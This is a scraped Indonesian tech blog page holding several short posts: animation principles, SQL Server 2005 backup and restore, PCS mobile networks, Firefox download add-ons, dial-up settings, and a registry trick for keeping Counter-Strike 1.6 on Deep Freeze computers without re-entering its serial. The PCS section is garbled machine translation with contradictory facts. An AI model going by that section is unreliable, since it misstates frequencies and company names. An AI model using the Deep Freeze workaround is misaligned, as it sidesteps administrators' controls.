    Tidak semua gerakan terjadi secara bersamaan. Gerak alami terjadi secara susul menyusul (overlap). Pada desain animasi Cun Lee gerakan tendangan akan diikuti dengan gerakan tangan yang melakukan pukulan tenaga dalam yang menujukkan gerakan yang terjadi susul menyusul antara gerakan satu dengan lainnya.

    7. Gerak melengkung (Arcs)
    Pada film Stefen Seagel selalu dapat dilihat keindahan gerak aksi perkelahian. Keindahan ini berasala dari bela diri Aikido. Aikido menyatakan bahwa semua gerakan di alam bersifat melingkar atau melengkung. Perputaran planet yang berbentuk elips. Keindahan gerakan tari, atau pun gerakan manusia dan hewan. Prinsip inilah yang diterapkan pada animasi. Contoh orang yang sedang menggelengkan kepala . Pada saat kepala menggeleng dari kiri kanan, ia akan membuat gerakan sedikitn melengkung ke arah atas atau bawah yang membentuk lingkaran. Dengan menerapkan prinsip gerakan melengkung sebuah animasi tidak akan terlihat kaku seperti robot.

    8. Dramatisasi gerakan (Exaggeration)
    Dramatisasi gerakan adalah tindakan mempertegas apa yang sedang dilakukan. Para pemain actor teater akan mendramatisasi atau melebih-lebihkan aksi mereka agar terlihat jelas oleh para penonton, apalagi penonton selalu melihat pertunjukan dari jarak jauh (long shot). Saat marah , sang aktor berkacak pinggang, menggerakkan seluruh badannya, dan menuding-nuding lawannya. Demikian pula saat tertawa, ia berkacak pinggang, menarik bagian atas tubuhnya ke belakang, mengangkat kepalanya ke atas, membuka mulut selebar-lebarnya dan akhirnya mengeluarkan suara tawa demikian kerasnya.

    9. Elastisitas (Squash andStretch)
    Prinsip elastisitas dapat dilihat dalam kartun Coyote dalam animasi "Road Runner" yang senang dengan aksi kejar-kejaran. Tetapi Coyote selalu gagal dan terjatuh ke jurang. Sebelum jatuh ia memandang kamera, sementara kaki, badan dan lehernya memanjang (strecthing) ke bawah.
    Akhirnya kepalanya hilang dari layar dengan meninggalkan segumpal asap. Contoh lainnya adalah bola karet yang dilempar ke atas, akan "penyek" (squash) dulu sebelum memantul kembali ke atas. Kelenturan menunjukkan tingkah rigiditas suatu objek. Bola karet akan mempunyai derajat kelenturan yang berbeda dengan bola bowling. Pada objek realistis, prinsip ini terlihat pada kontraksi otot. Tekuk kedua lengan dan kencangkan otot, otot akan mengalami pembesaran. Hal penting yang harus dilakukan adalah setiap benda yang mengalami pelenturan
    tetap akan mempertahankan volumenya. Jika sebuah karakter berubah volumenya,realitas yang ada akan hilang. Pada animasi prinsip ini tidak diberlakukan, melainkan pada bagian tertentu dari suatu benda. Otot biceps misalnya mengalami pelenturan yang lebih besar pada bagian tengahnya dibandingkan bagian tendon atau tepinya. Meskipun benda rigid atau benda realistis (seperti manusia) tampak tidak mengalami pelenturan, prinsip ini tetap saja digunakan. Pada saat
    melompat ke bawah badan akan tertekuk sedikit, gerakan ini yang merupakan gerakan sekunder mirip dengan peristiwa "penyek" yang terjadi pada bola karet yang dilempar ke lantai.

    10. Penempatan di bidang gambar (Staging)
    Selain animasi cara menempatkan karakter dihadapan kamera mutlak diperlukan. Dengan menempatkan kamera atau karakter secara tepat, konsep yang diinginkan dapat terbaca dengan mudah oleh penonton. Prinsip yang paling penting adalah prinsip sinematography dan prinsip silluet. Dengan penempatan kamera yang rendah, sebuah karakter akan terlihat besar dan menakutkan. Demikian juga dengan penempatan kamera yang tinggi, karakter akan terlihat kecil atau terlihat bingung. Penempatan kamera dengan arah miring (rolling) akan membuat gerakan
    terlihat dinamis. Penempatan secara simetris akan membuat karakter terlihat formal dan berwibawa, penempatan arah gerak secara diagonal juga akan membuat adegan terlihat dinamis. Melihat Siluet karakter (hanya pada bagian foreground vs background) juga memberikan ketegasan pose sebuah karakter. Jika siluet karakter terlihat ambigu alias tidak jelas. maka akan sulit bagi penonton untuk mencerna aksi yang dilakukan karakter. Dengan kata lain, seorang
    animator juga membutuhkan kemahiran dari berbagai bidang. Sinematography, penyutradaraan, akting, editing dan juga compositing sangat penting untuk membantu seorang animator menyelesaikan karyanya.

    11. Daya tarik karakter (appeal)
    Setiap karakter dalam animasi haruslah mempunyai daya tarik yang unik, yang membedakannya dengan karakter yang lain. Bisa saja suatu karakter terlihat unik dari design, atau dari caranya menunjukkan ekpresi pribadinya, seperti yang dimiliki oleh Donal Bebek dan Tazmanian Devil. Jim Carey misalnya, mempunyai daya tarik yang berbeda dengan Harrison Ford. Daya tarik Jim Carrey adalah tingkah lakunya yang demikian hiperbolik. Sean Connery mempunyai daya tarik dalam kedewasaan kepribadiannya. Daya tarik karakter bukan saja terlihat pada penampilannya
    (rupa karakter, desain pakaiannya, atau penampilan aksesorinya) melainkan terefleksikan pada seluruh gerak-gerik, tingkah laku dan sikapnya. Daya tarik memungkinkan penonton untuk menaruh perhatian khusus kepada karakter yang ditampilkan.

    12. Penjiwaan peran (personality)
    Kemampuan akting adalah satu hal yang harus dimiliki setiap karakter animator. Akting memungkinkan animator menterjemahkan tingkah laku dan daya tarik karakter secara tepat, sehingga penonton merasakan apa yang dimaui oleh sang animator, bahkan tanpa dialog sekalipun. Cara paling mudah menghayati suatu peran adalah dengan membayangkan karakter sebagai seorang aktor. Animator yang baik adalah animator yang mampu menggerakkan seluruh anggota tubuhnya dan menterjemahkannya ke dalam suatu karya animasi.
    Tanpa penjiwaan sebuah karakter akan terlihat datar, kaku dan tidak manusiawi. Penjiwaan peran ini adalah "roh" dari setiap karakter. Dengan penjiwaan setiap karakter akan terlihat berbeda dari lainnya, tampak lebih hidup dan lebih "berjiwa". Dibutuhkan pengetahuan mengenai latar belakang dari setiap karakter, tingkah laku, caranya berkomunikasi dan bereaksi
    terhadap lingkungannya. Cara paling mudah menghayati karakter adalah dengan menghayalkan aktor tertentu dan menterjemahkan sifat aktor tersebut ke dalam karakter animasi yang dibuat.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection

Fungsi Back Up dan Restore pada SQL Server 2005

    Fungsi Back Up dan Restore pada SQL Server 2005

    •Back up
    Pada Sa’at membuat database ada kalanya di perlukan untuk membuat back up. Diantara fungsinya adalah.
    •Jika anda ingin memindahkan database ke server yang baru karena hardware yang rusak atau kegagalan sytem.
    •Untuk cadangan dalam preventif terhadap serangan virus ataupun hacker.
    •Untuk mirroring.

    Cara melakukan back up :

    1.Klik kanan pada database yang akan anda back up lalu pilih Task >> Back Up…

    2.Setelah itu akan muncul window yang berisi menu backup. Biarkan semuanya pada defaultnya lalu pilih Remove, setelah itu Add.

    3.Kemudian pilih File Name lalu isikan tempat anda meletakkan file backup database. Lalu pilih OK

    4.File yang anda pilih tadi secara otomatis akan masuk pada window Back Up Database, lalu pilih OK. Tunggu beberapa saat maka database anda telah selesai di backup.

    Restore Database dengan SQL Server 2005

    1.Klik kanan pada Databases lalu pilih Restore Database…

    2.Lalu akan muncul window Restore Database, pada form to database tuliskan nama database anda, lalu pada form device pilih tempat anda menyimpan database dengan memilih tombol

    3.pada window Specify Bacup pilih tombol Add untuk memasukkan lokasi database yang akan anda restore. Setelah itu pilih OK.

    4.kemudian anda akan masuk ke dalam window back up kembali, file yang anda pilih tadi telah masuk ke dalam window tersebut. Lalu pilih OK, tunggu beberapa saat maka file database anda telah terrestore.

    Fungsi Restore database:
    Mengembalikan database kekeadaan semula.
    Mengambil data yang sudah di backup.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection

PCS (Personal Communications Service)

    Personal Communications Service atau PCS menjadi nama untuk 1900 MHZ radio menggunakan untuk jasa telepon digital di Canada, Mexico dan Amerika Serikat . Kode Divisi Berbagai Akses ( CDMA), GSM, dan D-Amps sistem dapat digunakan pada PCS frekwensi. FCC, seperti halnya Industri Canada, menyimpan bidang frekwensi 1850-1990 MHZ untuk telepon yang menggunakan di 1994, seperti sebagai ketika selular yang asli menelpon pada 824-894 MHZ sedang menjadi sesak. DUAL-BAND GSM telepon adalah untuk mampu aktip di dalam kedua-duanya 850 dan 1900 MHZ rombongan, walaupun mereka adalah tidak cocok/bertentangan dengan 900 dan 1800 MHZ Yang mengenai Eropa dan sistem Asia. Bagaimanapun, GSM " dunia menelpon" sebagian dari yang mana dikenal sebagai tri-band atau quad-band telepon, sebab mereka beroperasi di tiga atau empat bidang frekwensi berbeda, yang berturut-turut yang ditawarkan oleh Amerika Utara Pengangkut mendukung kedua-duanya frekwensi domestik dan Mengenai Eropa. Di luar AS itu , PCS digunakan untuk mengacu pada GSM-1900. Di Hong Kong, PCS digunakan untuk mengacu pada GSM-1800.

    Kecepatan menjadi perusahaan yang pertama untuk menyediakan suatu PCS jaringan, yang mana adalah suatu GSM-1900 jaringan di Baltimore-Washington area metropolitan di USA.Yang secepatnya bagaimanapun, Lomba perkembangan mengkonversi jaringan itu ke CDMA teknologi dan menjual GSM infrastruktur ke Omnipoint, yang mana kemudiannya menjadi bagian dari T-Mobile AS. Sekarang ini, PCS frekwensi telah diadopsi untuk pemakaian di dalam paling bagian-bagian dari America.

    PCS adalah jaringan mirip standar N-CDMA dan GSM 1900 yang beroperasi pada frekuensi 1850 sampai 1990 MHz dan hanya beroperasi di wilayah Amerika Serikat saja.
    Tiga fitur menonjol paling penting dari sistem PCS adalah:

    1. Fitur-fitur ini seluruhnya digital.
    2. Fitur-fitur ini berfungsi pada kisaran frekuensi 1900 MHz hingga 2000MHz.
    3. Fitur ini dapat digunakan secara international. PCS merupakan teknologi komunikasi bergerak generasi kedua.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Friday, September 11, 2009

Download dari Youtube Dg Easy YouTube Video Downloader

    Easy YouTube Video Downloader adalah salah satu add-ons dari Mozilla Firefox yang berfungsi untuk mempraktiskan download dari Youtube dengan beberapa pilihan extensi seperti 3gp, flv dan mp4.
    Untuk mendapatkannya Disini
    Tampilan ketika memakai Easy YouTube Video Downloader


    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Wednesday, August 26, 2009

Tips download cepat dengan FireDownload

    FireDownload adalah salah satu add-ons dari Mozilla Firefox yang berfungsi untuk mempercepat proses download 10x lipat dari standart downlod firefox.
    untuk mendapatkannya Disini

    Berikut ini perbandingan download
    1. Tanpa menggunakan FireDownload


    2. Menggunakan IDM

    3. Menggunakan FireDownload

    Terbukti bahwa menggunakan FireDownload jauh lebih cepat dari pada standart download Firefox, bahkan bisa mengalahkan speed download IDM.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection
Monday, August 24, 2009

Beberapa hal tentang diall up

    Contoh kneksi diall up


    —Jika semua syarat telah bisa anda penuhi maka seting pada internet connection di control panel untuk konek ke telkomnet instan adalah sebagai berikut :

    —- Nomor Akses : 0809 8 9999- User name : telkomnet@instan- Password : telkom

    —Setelah setting anda bisa konek ke internet dengan membuka kotak dialog internet connection lalu tekan tombol connect. Nanti otomatis komputer kita akan konek ke telkom dan jika berhasil maka akan ada tampilah perhitungan waktu koneksi dan tombol disconnect untuk memutus hubungan internet.



    PERKEMBANGAN DIAL UP


    —ADSL (Asymmetric Digital Subscriber Line) adalah salah satu bentuk dari teknologi DSL. Ciri khas ADSL adalah sifatnya yang asimetrik, yaitu bahwa data ditransferkan dalam kecepatan yang berbeda dari satu sisi ke sisi yang lain. Untuk akses Internet bagi pemakai, ADSL biasanya dioptimasi agar kecepatan downstream lebih cepat daripada kecepatan upstream. Ini sesuai dengan sifat pemakai yang lebih banyak melakukan pengambilan data daripada pengiriman data.
    Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection

mEmbuat Patch Counter Strike 1.6 pd komp yg sistemnya di Deep freeze

    Sedikit trik dari teman saya
    1. Install CS 1.6 di drive yg tdk di deep freez
    2. Pindahkan Shorthcut CS 1.6 ke folder yg Drive tersebut tdk di deep freeze
    3. Masuk ke regedit (Run ktik regedit --> ok)
    4. HKEY_CURRENT_USER --> Software --> Valve
    5. Pilih Valve
    6. Export Regedit (File --> Export --> simpan drive yg tdk di deep freez --> diberi nama)
    7. Tutup regedit anda.
    8. Restart komp anda, import regedit anda td ato anda klik 2 kali.
    9. CS 1.6 dapat anda mainkan kembali tanpa instal ulang + tanpa memasukan SN Cs 1.6 itu lg.
    Terim kasih.Source URL: https://nilushae.blogspot.com/search/label/Artikel%20IT
    Visit All Fashion Artist for Daily Updated Hairstyles Collection